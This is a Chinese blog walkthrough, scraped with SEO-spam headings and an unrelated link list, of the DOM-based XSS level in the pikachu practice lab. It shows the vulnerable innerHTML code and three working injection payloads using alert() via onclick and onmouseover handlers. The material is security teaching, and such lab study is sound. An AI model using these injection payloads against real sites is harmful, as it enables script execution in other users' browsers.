当前位置: 首页 > wzjs >正文

国内html5网站欣赏福州百度推广优化排名

国内html5网站欣赏,福州百度推广优化排名,重庆璧山网站建设,西安有那些做网站的公司目录 一、XSS原理 二、DOM型XSS 三、源码分析 1、进入靶场 2、XSS探测 3、源码分析 四、渗透实战 1、Payload1 2、Payload2 3、Payload3 本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风…

目录

一、XSS原理

二、DOM型XSS

三、源码分析

1、进入靶场

2、XSS探测

3、源码分析

四、渗透实战

1、Payload1

2、Payload2

3、Payload3


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风险的真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡 04-DOM 型XSS的渗透部分。

一、XSS原理

XSS(Cross - Site Scripting) 跨站脚本攻击是一种常见的Web安全风险,因其高危害性位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。

类型原理数据交互危害
反射型 XSS攻击者诱使用户点击含恶意脚本的链接,服务器将脚本反射回浏览器执行URL 参数传入恶意脚本,服务器原样返回泄露用户敏感信息,如登录凭证、个人资料等;篡改页面内容,误导用户操作
存储型 XSS恶意脚本被存储在服务器端,用户访问相关页面时执行恶意脚本提交到服务器并存储,用户访问页面时服务器返回含脚本内容影响范围广,所有访问该页面的用户都会受到攻击;可进行大规模的信息窃取、会话劫持
DOM 型 XSS攻击者通过构造恶意输入,利用页面 JS 修改 DOM 结构注入脚本,不涉及服务器处理在页面表单输入恶意脚本,页面 JS 处理输入时触发破坏页面的正常显示和功能;可能导致用户在不知情的情况下执行危险操作

二、DOM型XSS

DOM 型 XSS(Document Object Model Cross-Site Scripting)是一种基于浏览器文档对象模型(DOM)的跨站脚本攻击类型。与反射型和存储型 XSS 不同,DOM 型 XSS 攻击不依赖服务器端响应数据,而是利用网页中 JavaScript 对 DOM 的不当操作来实现。
攻击者通过精心构造 URL 或诱导用户输入恶意数据,使得网页中的 JavaScript 代码在处理数据并修改 DOM 结构时,将恶意脚本作为合法内容插入到页面中。当浏览器解析并执行这些恶意脚本时,就会触发攻击,如窃取用户 Cookie、劫持会话等。由于攻击发生在客户端浏览器,且不涉及服务器数据存储和直接响应,其检测和防御相对复杂,需要开发者对前端代码中的 DOM 操作进行严格的安全审查和输入验证 。

分类DOM型XSS
存储位置不经过服务器,恶意代码存在于URL片段(#后)或前端输入
触发方式前端JavaScript动态操作DOM时执行
攻击场景单页应用(SPA)、动态网页、依赖前端路由的Web应用
危害范围执行恶意脚本的用户
攻击特点绕过服务端检测(WAF无效),纯前端风险
防御措施安全的DOM操作(如textContent替代innerHTML)、前端输入验证、CSP策略
修复难度中(需全面检查前端代码)

三、源码分析

1、进入靶场

进入pikachu靶场XSS系列关系的04关-DOM型XSS页面,打开后发现是一个留言板,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom.php

2、XSS探测

输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。

​​​​​​​'"<>?&ljn20241019

测试 发现输入和输出有区别,

3、源码分析

查看DOM型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字what,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出

这段代码存在DOM型 XSS风险,具体的源码经过详细注释后如下所示。

<div id="xssd_main"><script>function domxss(){// 获取用户输入(未经过滤)var str = document.getElementById("text").value;// 直接拼接用户输入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻击者可尝试的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')">  → 闭合标签并插入恶意图片// 2. ' onclick="alert('xss')">                → 闭合标签并添加点击事件</script><!-- 用户输入框 --><input id="text" name="text" type="text" value="" /><!-- 触发DOM操作的按钮 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 动态内容插入区域(XSS触发点) --><div id="dom"></div>
</div>

分析可知本关卡通过 getElementById 获取到了标签 Id 为 text的内容赋值给str.然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。产生XSS风险的关键代码如下所示。

function domxss(){var str = document.getElementById("text").value; // 获取用户输入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}

XSS的根源在于不可信数据未经验证直接插入DOM,这个处理逻辑如下所示。

1)我们通过 <input id=“text” name=“text” type=“text” value="" / > 将字符串赋值给text然后JavaScript 
var str = document.getElementById(“text”).value; 获取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把这个text字符串整合到a这个标签中的href里再把a标签写入到dom这个标签中。
3)最后< div id=“dom” >< /div > 执行这个dom标签

XSS原理如下所示。

XSS类型DOM型XSS
触发条件用户输入直接拼接到innerHTML,未经过滤或编码
攻击方式通过闭合标签(如'>)注入恶意HTML/JS代码
危害窃取Cookie、钓鱼攻击、页面篡改

XSS成因与示例如下所示。

问题环节具体风险攻击示例
未过滤用户输入用户控制的str直接拼接到innerHTML输入'><img src="#" onmouseover="alert('xss')">
危险API使用innerHTML会解析HTML/JS代码(非安全文本插入)输入' onclick="alert('xss')"> 闭合标签并注入事件
缺乏输出编码未对用户输入的" ' < >等字符转义输入javascript:alert(1) 可构造恶意链

    四、渗透实战

    <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    闭合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>

    点击click me后,下方生成链接,点击链接后,弹框ljn

    分析:右键元素-点击查看器-Ctrl+F搜索关键字what

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

    闭合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>

    3、Payload3

    payload2: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    闭合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>

    http://www.dtcms.com/wzjs/224009.html

    相关文章:

  • 怎样做网站的ico图片网站访问量查询工具
  • 网站建设公司公司网站设计与制作
  • wordpress翻页数字爱采购seo
  • 公司后台网站怎么做深圳有实力的seo公司
  • 动态网站cdnseo是指搜索引擎优化
  • 做哪类网站没有版权问题发免费广告电话号码
  • 自助建网站系统源码国内免费b2b网站大全
  • 泉州网站外包网络营销技术
  • 南京建站在线咨询广东深圳今天最新通知
  • 國家建设协会官方网站如何在百度上添加自己的店铺
  • 金堂网站建设seo是什么品牌
  • 做建材那个B2B网站内贸人流量多廊坊seo排名优化
  • 公司关于网站建设的通知网站开发与设计
  • 如何建设网站的目录结构层收录网站的平台有哪些
  • 公司建站模版网络营销推广方案策划书
  • 建设网站图最新军事新闻事件今天
  • seo最好的网站平台推广是什么工作
  • 租用阿里云做网站西安百度快照优化
  • 网站加速器免费友情链接交换条件
  • 沈阳有资质做网站的公司百度注册网站
  • 娄底网站建设公司有哪些无锡seo网络推广
  • 网络推广员为什么做不长上海整站seo
  • 个人备案的网站可以做宣传网络营销成功的原因
  • 万维网官方网站上海百度seo网站优化
  • 网站做生鲜线下推广建议网页设计案例
  • 如何建造网站东莞推广平台有哪些
  • 广州营销型网站建设公司app推广方法及技巧
  • 网站开发众包谷歌优化方法
  • 双语版网站怎么做广告发布
  • 张北网站seo线上推广的渠道有哪些